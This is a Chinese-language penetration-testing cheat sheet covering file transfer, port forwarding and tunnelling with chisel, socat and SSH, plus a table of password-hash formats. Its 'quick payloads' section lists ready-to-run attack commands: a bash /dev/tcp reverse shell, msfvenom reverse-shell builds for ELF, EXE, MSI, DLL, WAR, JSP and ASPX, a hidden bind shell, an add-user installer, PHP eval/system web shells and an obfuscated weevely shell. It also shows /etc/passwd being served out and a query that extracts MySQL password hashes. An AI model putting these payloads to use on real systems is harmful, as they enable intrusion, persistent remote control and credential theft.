速查手册
工欲善其事,必先利其器。
导航
文件传输
1、Goshs
服务端: goshs -p 443 -w -wp 80 【同时开启 http 和 webdav 服务】
上传客户端:curl -v -F "file=@test.txt" http://1.1.1.1:443/ 或 curl -T test.txt http://1.1.1.1:80/test.txt
下载客户端:wget http://1.1.1.1:443/test.txt 或 curl -o test.txt http://1.1.1.1:443/test.txt
2、Nc
服务端:nc -lvnp 443 >test.txt 【对应上传客户端】、nc -lvnp 443 <test.txt 【对应下载客户端】
上传客户端:nc 1.1.1.1 443 <test.txt 或 bash -c 'cat > /dev/tcp/1.1.1.1/443 < test.txt'
下载客户端:nc 1.1.1.1 443 >test.txt 或 bash -c 'cat < /dev/tcp/1.1.1.1/443 > test.txt'
3、Socat
服务端:socat -U tcp-listen:1234,fork open:/etc/passwd【发送端】
客户端:socat -u tcp:127.0.0.1:1234 open:./passwd.txt,create【接收端】
4、Pyftpdlib
服务端:python -m pyftpdlib -w -p 21【允许 anonymous 用户登陆且可写的 ftp 服务】
交互客户端:ftp 1.1.1.1 21
上传客户端:curl -T test -u anonymous: ftp://1.1.1.1/test
下载客户端:wget --ftp-user=anonymous ftp://1.1.1.1/test -O test
4、SmbServer
服务端:impacket-smbserver share . -smb2support
上传客户端:copy test.txt \\1.1.1.1\share\
下载客户端:copy \\1.1.1.1\share\test.txt .
5、仅支持下载的 HTTP 服务端
php -S 0:80
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
端口转发
1、Chisel
正向连接:client 的端口转发规则 1111:127.0.0.1:80 是指,先在 client 本地监听 1111 端口,后续凡端口 1111 接收到的包,都通过建立好的管道传给 server 端,然后 server 端再以自己的身份(即数据包的源 IP 地址是 server 的地址)再将其转发给 127.0.0.1:80 端口。【注意,这个 127.0.0.1:80 也可以是 server 能够访问的其它机器的服务。】
Server:chisel server -p 12345
Client:chisel client 1.1.1.1:12345 1111:127.0.0.1:80
反向连接:client 的端口转发规则 R:1111:127.0.0.1:80 是指,先在 server 端本地监听 1111 端口,后续凡端口 1111 接收到的包,都通过建立好的管道传给 client 端,然后 client 端再以自己的身份将其转发给 127.0.0.1:80 端口。【注意,这个 127.0.0.1:80 也可以是 client 能够访问的其它机器的服务。】
Server:chisel server -p 12345 --reverse
Client:chisel client 1.1.1.1:12345 R:1111:127.0.0.1:80
Socks 正向代理:client 的端口转发规则 1080:socks 是指,在 client 端开启一个 socks5 的代理端口,后续到来的任何目的端口的流量,都通过建立好的管道交给 server 端,由 server 端的身份代为请求。【对比正反向连接的优点便是,不用再一条一条的建立转发规则。】
Server:chisel server -p 12345 --socks5
Client:chisel client 1.1.1.1:12345 1080:socks
Socks 反向代理:client 的端口转发规则 R:1080:socks 是指,在 server 端开启一个 socks5 的代理端口,后续到来的任何目的端口的流量,都通过建立好的管道交给 client 端,由 client 端的身份代为请求。【对比正反向连接的优点便是,不用再一条一条的建立转发规则。】
Server:chisel server -p 12345 --reverse --socks5
Client:chisel client 1.1.1.1:12345 R:1080:socks
注意:当 server 端的机器是 windows 时,要特别注意防火墙,若此实验未能实验成功,很可能是防火墙所导致的。
2、Rtcp
Server:rtcp.py l:33066 c:127.0.0.1:3306
Client:rtcp.py l:3306 c:1.1.1.1:33066
此时,Client 端只要访问本地的 3306 端口,便能访问到原本只能在 Server 端本地访问的数据库服务。
3、Socat
Server:socat tcp-listen:33066,fork tcp:127.0.0.1:3306
Client:socat tcp-listen:3306,fork tcp:1.1.1.1:33066
此时,Client 端只要访问本地的 3306 端口,便能访问到原本只能在 Server 端本地访问的数据库服务。
4、SSH
参考文章:SSH 隧道使用
参数介绍:
-C 压缩传输,提高传输速度。
-f 将 SSH 传输转入后台执行,不占用当前 shell。
-N 建立静默连接(建立了连接但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口。
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS代理)
本地转发:对应 chisel 的正向连接。
ssh -CfNg -L 3389:1.1.1.1:3389 user@1.1.1.1
远程转发:对应 chisel 的反向连接。
ssh -CfNg -R 1234:127.0.0.1:22 user@1.1.1.1【此时,相当于在服务端建立了一个本地端口转发服务,前往 1234 端口的数据被转发到了本地的 22 端口,而我们是在客户端执行的命令,在客户端本地并未新增任何监听端口。】
动态转发:对应 chisel 的 socks 代理。
ssh -CfNg -D 1080 user@1.1.1.1
快速载荷
注:使用 msfvenom 制作载荷时,可以根据载荷名称后面的_和/的区别来指定生成载荷的类型是 无阶段载荷 还是 分阶段载荷。例如,
linux/x86/shell_reverse_tcp是无阶段载荷,而linux/x86/shell/reverse_tcp是分阶段载荷。
BASH
bash -c 'bash -i >& /dev/tcp/1.1.1.1/443 0>&1'【支持 NC】msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=443 -f raw -o shell.sh【支持连接 MSF、NC】
注:(1)因为 /dev/tcp/ 是 Bash 特有的功能,因此只能在 Bash 环境中使用。(2)它并不是一个标准的 Linux 文件系统功能,而是 Bash 内建的扩展功能。
ELF
msfvenom -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f elf -o shell.elf【支持连接 MSF、NC】
EXE
msfvenom -p windows/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f exe -o shell.exe【支持连接 MSF、NC】msfvenom -p windows/shell_hidden_bind_tcp LPORT=8889 AHOST=1.1.1.2 -f exe > hidden_shell.exe【支持连接 MSF、NC】【注:只有 1.1.1.2 用户才能够通过 nc 正向连接该 shell。】
PSH-CMD
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.20 LPORT=443 -f psh-cmd -o payload.txt【支持连接 MSF、NC】
注:这是一种使用 cmd 命令启动 powershell 进程去执行加密的 base64 的代码,应该说它属于利用 powershell 技术的反向 shell 代码。
MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform Windows -a x64 -f msi -o shell.msi【支持连接 MSF、NC】msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o adduser.msi【创建新用户】
DLL
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform windows -a x64 -f dll -o shell.dll【支持连接 MSF、NC】
ShellCode
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform windows -a x64 -f raw -o shell.bin【支持连接 MSF、NC】
注:如需 shellcode 格式转换,可通过 CyberChef 进行。【步骤:Input(读 bin 文件)-Recipe(To Hex)-Output】
EXEC【命令打包】
msfvenom -p windows/x64/exec CMD="whoami.exe" --platform windows -f exe -o cmd.exe【打包 Windows 任意命令】msfvenom -p linux/x64/exec CMD="whoami" --platform linux -f elf -o cmd.elf【打包 Linux 任意命令】
PHP
<?php eval($_REQUEST['ant']);?><?php system($_REQUEST['ant']);?>weevely generate -obfuscator obfusc1_php ant shell.php与weevely terminal 'http://1.1.1.1/shell.php' ant
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f war -o shell.war【支持连接 MSF、NC】
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f raw -o shell-reverse-443.jsp【支持连接 MSF、NC】
ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform Windows -a x64 -f aspx -o shell.aspx【支持连接 MSF、NC】
常见哈希
| 类型(j/h) | 标识 | 制作 | 备注 |
|---|---|---|---|
| md5crypt/500 | $1$... | mkpasswd -m md5crypt password | Linux 系统常用 |
| sha256crypt/7400 | $5$... | mkpasswd -m sha256crypt password | Linux 系统常用 |
| sha512crypt/1800 | $6$... | mkpasswd -m sha512crypt password | Linux 系统常用 |
| crypt/null | $y$... | mkpasswd -m yescrypt password | Linux 系统常用 |
| NT/1000 | 8846f7eaee8fb117ad06bdd830b7586c | mkpasswd -m nt password | Windows 系统常用 |
| === | === | === | === |
| bcrypt/3200 | $2b$... 或 $2y$... | mkpasswd -m bcrypt password | Web 应用、数据库、编程库均可能使用 |
| netntlmv2/5600 | admin:::08ca45b7d7ea58ee:... | `echo -n 'password' | /usr/share/john/pass_gen.pl netntlmv2` |
| phpass/400 | $P$... | `echo -n 'password' | /usr/share/john/pass_gen.pl phpass` |
| mysql-sha1/300 | *... | `echo -n 'password' | /usr/share/john/pass_gen.pl mysql-sha1` |
| null/7401 | $mysql$A$005*... | MySQL 8.x 常用,认证插件:caching_sha2_password | |
| pkzip/null | $pkzip$... | 加密的 ZIP 压缩包哈希 | |
注:MySQL 8.x 哈希提取方法可参考此文章,提取语句是:
SELECT CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM mysql.user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%' AND authentication_string !='';"。